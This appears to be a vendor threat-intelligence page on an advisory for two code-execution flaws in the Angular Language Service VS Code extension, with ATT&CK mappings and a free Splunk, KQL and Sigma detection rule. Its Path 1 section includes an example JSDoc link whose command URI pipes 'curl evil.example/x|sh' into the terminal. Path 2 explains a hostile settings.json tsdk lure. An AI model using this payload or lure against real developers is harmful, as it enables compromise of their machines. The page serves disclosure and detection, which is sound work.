# Angular Language Service VS Code Extension (Angular.ng-template) Multiple RCE Vulnerabilities — GHSA-ccq4-xmxr-8hcq

> Two RCE-class vulnerabilities in the Angular Language Service VS Code extension (Angular.ng-template) prior to v21.2.4 allow arbitrary code execution on developer workstations. The first path abuses Markdown rendering with isTrusted:true so that a malicious JSDoc hover link executes a VS Code command URI on click. The second is a zero-click Workspace Trust bypass: the extension reads typescript.tsdk from workspace .vscode/settings.json without consent and Node.js require()s tsserverlibrary.js from the attacker-controlled path the moment the project is opened. With 9.5M+ marketplace installs and a now-standard developer-targeting supply-chain TTP (open the repo, get owned), the tsdk vector is the dangerous one.

- **Published:** 2026-05-26T00:00:00Z
- **Last reviewed:** 2026-05-26T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0595
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-angular-language-service-rce-tl-2026-0595.webp?v=855d8546 (Threadlinqs threat intel: GHSA-ccq4-xmxr-8hcq Angular Language Service RCE (TL-2026-0595) — High severity, 16 IOCs, 9 detection rules.)
- **ID:** TL-2026-0595
- **Severity:** HIGH (CVSS 8.7)
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 9 (1 shown free below) · **IOCs:** 16

## Description

## Overview

GHSA-ccq4-xmxr-8hcq covers a cluster of remote code execution defects in the Angular Language Service Visual Studio Code extension (`Angular.ng-template`, publisher Angular/Google) for all versions prior to **21.2.4**. The extension is installed approximately **9.5 million times** on the VS Code Marketplace, giving the bug class an exceptionally broad blast radius across enterprise development environments, CI runners with VS Code Server, and individual developer workstations.

Two distinct exploitation paths are confirmed in the advisory and the merged patch set (PRs #68857, #68858, #68886 against `github.com/angular/angular`, merged 2026-05-22 to `main` and `22.0.x`).

## Path 1 — JSDoc Hover Markdown Command Injection (UI:P, hover + click)

The Angular client extension (`client/src/client.ts`) instantiates VS Code Markdown tooltip renderers with `isTrusted: true`. Per the official VS Code extension guides, that flag allows rendered Markdown to invoke `command:` URIs. The language server (`server/src/handlers/hover.ts`, `server/src/text_render.ts`) builds hover content from JSDoc comments attached to TypeScript/JavaScript symbols (including inline Angular templates) **without escaping square brackets or sanitizing raw Markdown links**. An attacker who controls a file in a repository — whether top-level, transitive in `node_modules`, or pulled in by a custom resolver — can plant a JSDoc comment containing a Markdown link such as `[Docs](command:workbench.action.terminal.sendSequence?{"text":"curl evil.example/x|sh\n"})`. When the developer hovers the symbol and clicks the link in the tooltip, VS Code executes the embedded command URI, which can chain to shell command execution via terminal-sequence injection, `vscode.openFolder`, task execution, etc. Patch #68858 (commit `6d8b156b45` / `eeb7da76db55f50d48c3b92c736ee257a5193c3e`) restricts JSDoc Markdown trust, hardens document opening through official workspace APIs, and routes hover links through a dedicated `openJSDocLink` command handler that enforces allowlisting.

## Path 2 — `typescript.tsdk` Insecure Library Load (UI:N on project open, Workspace Trust bypass)

The client extension reads `typescript.tsdk` and the newer `js/ts.tsdk.path` directly from workspace settings during activation, **without checking Workspace Trust** and without prompting. The resolved string is forwarded as the `--tsdk <path>` CLI argument to the spawned Node.js language server. The server then resolves `<tsdk>/tsserverlibrary.js` and loads it via Node's native `require()`, executing the file in the LS process with the developer's user privileges.

A hostile repository ships a `.vscode/settings.json` containing for example `"typescript.tsdk": "./.evil"` together with `./.evil/tsserverlibrary.js` containing arbitrary Node code. The moment the developer runs `git clone` and `code <repo>` — or VS Code reopens the folder from history — the Angular Language Service auto-spawns, `require()`s the attacker file, and code execution occurs **with zero user interaction**. Workspace Trust is bypassed because the load happens before the extension enters Restricted Mode boundaries. Patch #68857 (commit `82cf38ad95` / `7aef352d4b3e09e184e3d456e86bc00c515bfaa4`) prompts for confirmation before loading a workspace tsdk and ignores tsdk entirely in untrusted workspaces; patch #68886 (commit `4a41831326`) disables the language server outright in untrusted workspaces as defense in depth.

## Supply-Chain Context

The vulnerability arrives in the same threat-model neighborhood as the 2025 Nx Console VS Code extension supply-chain compromise (which impacted roughly 3,800 GitHub repositories), the Lazarus/Contagious-Interview campaigns that lure developers into cloning malicious repos under coding-interview pretexts, and the recurring class of `vscode-*` and IDE-extension bugs that let an opened folder execute code. Any actor running a malicious-repo lure (fake job interview takehome, fake PR review request, look-alike OSS fork, typo-squatted dependency containing a `.vscode/` directory) can weaponize Path 2 today with a five-line `settings.json` and a tiny `tsserverlibrary.js` payload.

## Discovery & Disclosure

The advisory was published 2026-05-23 08:07 UTC by `alan-agius4` of the Angular team. Remediation was developed by `atscott` (Andrew Scott) with merges by `alxhub` and additional credit to `josephperrott`. No external researcher is publicly credited; discovery appears to be internal. No CVE has been assigned at time of publication — the GitHub Advisory Database returns `cve_id: null`, and NVD has no matching record.

## Severity

Angular publishes CVSS v4.0 only: **8.7 High** with vector `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`. The `UI:P` value reflects Path 1; Path 2 in isolation would warrant `UI:N` (true zero-click), so 8.7 is a conservative single-vector summary. No CVSS v3.1 vector was published.

## Affected Versions and Fix

Vulnerable: `Angular.ng-template` < 21.2.4 (all prior versions). Patched: 21.2.4, released on or about 2026-05-22/23 in conjunction with the advisory. The standalone repo `angular/vscode-ng-language-service` was archived on 2025-11-21; security work is performed in the consolidated `angular/angular` monorepo.

## MITRE ATT&CK

- T1608 Stage Capabilities
- T1587 Develop Capabilities
- T1583 Acquire Infrastructure
- T1195 Supply Chain Compromise
- T1566 Phishing
- T1189 Drive-by Compromise
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1106 Native API
- T1546 Event Triggered Execution
- T1574 Hijack Execution Flow
- T1480 Execution Guardrails
- T1036 Masquerading
- T1083 File and Directory Discovery
- T1555 Credentials from Password Stores
- T1552 Unsecured Credentials
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Angular Language Service tsdk Poisoning — node Child of VS Code with Workspace-Relative --tsdk (Exploitation)** (`TL-2026-0595-SPL-001`)

Detects the Path 2 zero-click RCE artifact for GHSA-ccq4-xmxr-8hcq: VS Code (Code.exe / code-server / Code Helper) spawning Node.js with a --tsdk argument that resolves inside the just-opened workspace directory rather than the bundled VS Code TypeScript or node_modules/typescript/lib path. This is the spawn shape produced when the Angular.ng-template extension (< 21.2.4) honors a hostile .vscode/settings.json typescript.tsdk value and then require()s tsserverlibrary.js from the attacker-controlled location.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1195.001, T1059.007, T1574
- **Data sources:** sysmon, windows_security, edr_process_telemetry, microsoft_defender_xdr
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 
  (ParentImage="*\\Code.exe" OR ParentImage="*\\Code - Insiders.exe" OR ParentImage="*\\code-server.exe" OR ParentImage="*\\Code Helper*") 
  (Image="*\\node.exe" OR Image="*/node") 
  CommandLine="*--tsdk*" 
  CommandLine="*tsserverlibrary*" 
  NOT CommandLine="*\\node_modules\\typescript\\lib*" 
  NOT CommandLine="*/node_modules/typescript/lib*" 
  NOT CommandLine="*\\resources\\app\\extensions\\node_modules\\typescript\\lib*" 
| eval workspace_relative_tsdk=if(match(CommandLine, "--tsdk\s+\.{1,2}[\\/]") OR match(CommandLine, "--tsdk\s+[^\s\"/\\\\]"), "true", "false") 
| where workspace_relative_tsdk="true" OR match(CommandLine, "--tsdk\s+\"?(?!([A-Za-z]:\\\\|/usr/|/opt/|/Applications/))") 
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as cmd values(CurrentDirectory) as cwd by host User ParentImage Image 
| eval threat_id="TL-2026-0595", detection="Angular.ng-template tsdk poisoning" 
| table _time host User ParentImage Image cmd cwd count first_seen last_seen threat_id detection
```

### Microsoft KQL

```kql
// KQL equivalent for Microsoft Defender XDR / Sentinel
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("Code.exe", "Code - Insiders.exe", "code-server.exe", "Code Helper (Plugin)", "Code Helper (Renderer)")
| where FileName in~ ("node.exe", "node")
| where ProcessCommandLine has "--tsdk"
| where ProcessCommandLine has "tsserverlibrary"
| where ProcessCommandLine !contains "node_modules\\typescript\\lib"
| where ProcessCommandLine !contains "node_modules/typescript/lib"
| where ProcessCommandLine !contains "resources\\app\\extensions\\node_modules\\typescript"
| where ProcessCommandLine matches regex @"--tsdk\s+\"?(?:\.{1,2}[\\/]|[^/\\\"A-Za-z])" or ProcessCommandLine matches regex @"--tsdk\s+\"?(?![A-Za-z]:\\|/usr/|/opt/|/Applications/|\$\{userHome\})"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, FolderPath, InitiatingProcessFolderPath
| extend ThreatId = "TL-2026-0595"
```

### Sigma

```yaml
title: Angular Language Service tsdk Poisoning — node Child of VS Code with Workspace-Relative --tsdk
id: 6d8b156b-0595-4ccq-spl1-7aef352d4b3e
status: experimental
description: Path 2 RCE artifact for GHSA-ccq4-xmxr-8hcq (Angular.ng-template < 21.2.4). VS Code spawns Node.js with --tsdk pointing inside the just-opened workspace, then require()s tsserverlibrary.js from the attacker-controlled location with the developer's privileges.
references:
    - https://github.com/angular/angular/security/advisories/GHSA-ccq4-xmxr-8hcq
    - https://github.com/angular/angular/pull/68857
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/05/26
tags:
    - attack.initial_access
    - attack.t1195.001
    - attack.execution
    - attack.t1059.007
    - attack.defense_evasion
    - attack.t1574
logsource:
    product: windows
    category: process_creation
detection:
    parent_vscode:
        ParentImage|endswith:
            - '\Code.exe'
            - '\Code - Insiders.exe'
            - '\code-server.exe'
            - '\Code Helper (Plugin)'
    node_child:
        Image|endswith:
            - '\node.exe'
            - '/node'
    tsdk_argv:
        CommandLine|contains: '--tsdk'
        CommandLine|contains: 'tsserverlibrary'
    legit_tsdk_paths:
        CommandLine|contains:
            - '\node_modules\typescript\lib'
            - '/node_modules/typescript/lib'
            - '\resources\app\extensions\node_modules\typescript\lib'
    condition: parent_vscode and node_child and tsdk_argv and not legit_tsdk_paths
fields:
    - ParentImage
    - Image
    - CommandLine
    - CurrentDirectory
    - User
falsepositives:
    - Legitimate developer workflow using a workspace-local TypeScript build (rare, should be paired with a Workspace Trust prompt and a known-trusted repo)
level: high
```

**Known false positives:**

- Developer intentionally using a workspace-local TypeScript build for a monorepo (rare; usually accompanied by a Workspace Trust prompt and a known internal repo)
- Internal developer tooling that ships a typescript.tsdk override pointing to a build artifact directory
- CI runners executing the VS Code Server with a pinned workspace tsdk on trusted internal repos

**Tuning notes:** Allowlist known internal monorepo paths and the bundled VS Code TypeScript location. Tighten by requiring the --tsdk value to resolve inside the InitiatingProcessFolderPath (workspace cwd) for highest fidelity. Pair with a check that Angular.ng-template extension version on the host is < 21.2.4 for actionable triage.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Angular Language Service tsdk Poisoning — DeviceProcessEvents (Exploitation) (locked: unlock with TL Creds)
- [indicator] Loaded from Non-Standard Path — Image Load Hijack (Post-Exploitation) (locked: unlock with TL Creds)
- VS Code Terminal sendSequence Command URI Execution from JSDoc Hover (C2/Lateral) (locked: unlock with TL Creds)
- Sigma — Angular.ng-template tsdk Poisoning (Exploitation, Cross-SIEM) (locked: unlock with TL Creds)
- Sigma — JSDoc Markdown command: URI in TypeScript/JavaScript Source (Post-Exploitation/Hostile-Repo Staging) (locked: unlock with TL Creds)
- Sigma — Node Child of VS Code Initiating Outbound Connection on Folder Open (C2/Lateral) (locked: unlock with TL Creds)
- Hostile Workspace Settings — [indicator] with Workspace-Relative typescript.tsdk (Post-Exploitation/Persistence) (locked: unlock with TL Creds)
- Outbound C2 from node Child of VS Code Within Seconds of Folder Open (C2/Lateral Movement) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sources

- [GitHub Security Advisory GHSA-ccq4-xmxr-8hcq](https://github.com/angular/angular/security/advisories/GHSA-ccq4-xmxr-8hcq)
- [GitHub Advisory Database — GHSA-ccq4-xmxr-8hcq](https://github.com/advisories/GHSA-ccq4-xmxr-8hcq)
- [Patch PR #68857 — Prompt for confirmation before loading workspace tsdk](https://github.com/angular/angular/pull/68857)
- [Patch PR #68858 — Restrict JSDoc Markdown trust and harden document opening](https://github.com/angular/angular/pull/68858)
- [Patch PR #68886 — Disable Angular Language Service in untrusted workspaces](https://github.com/angular/angular/pull/68886)
- [Multiple Angular Language Service Extension Vulnerabilities Enable RCE Attacks](https://cybersecuritynews.com/angular-extension-vulnerabilities/)
- [Angular Language Service Flaws (Cyber Press)](https://cyberpress.org/angular-language-service-flaws/)
- [Angular Language Service Extension Flaws (GBHackers)](https://gbhackers.com/angular-language-service-extension-flaws/)
- [VS Code Marketplace — Angular.ng-template](https://marketplace.visualstudio.com/items?itemName=Angular.ng-template)
- [VS Code Workspace Trust documentation](https://code.visualstudio.com/docs/editor/workspace-trust)
- [VS Code Trusted Markdown / Command URIs](https://code.visualstudio.com/api/extension-guides/virtual-documents#trusted-markdown)
- [Archived repo: angular/vscode-ng-language-service](https://github.com/angular/vscode-ng-language-service)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0595
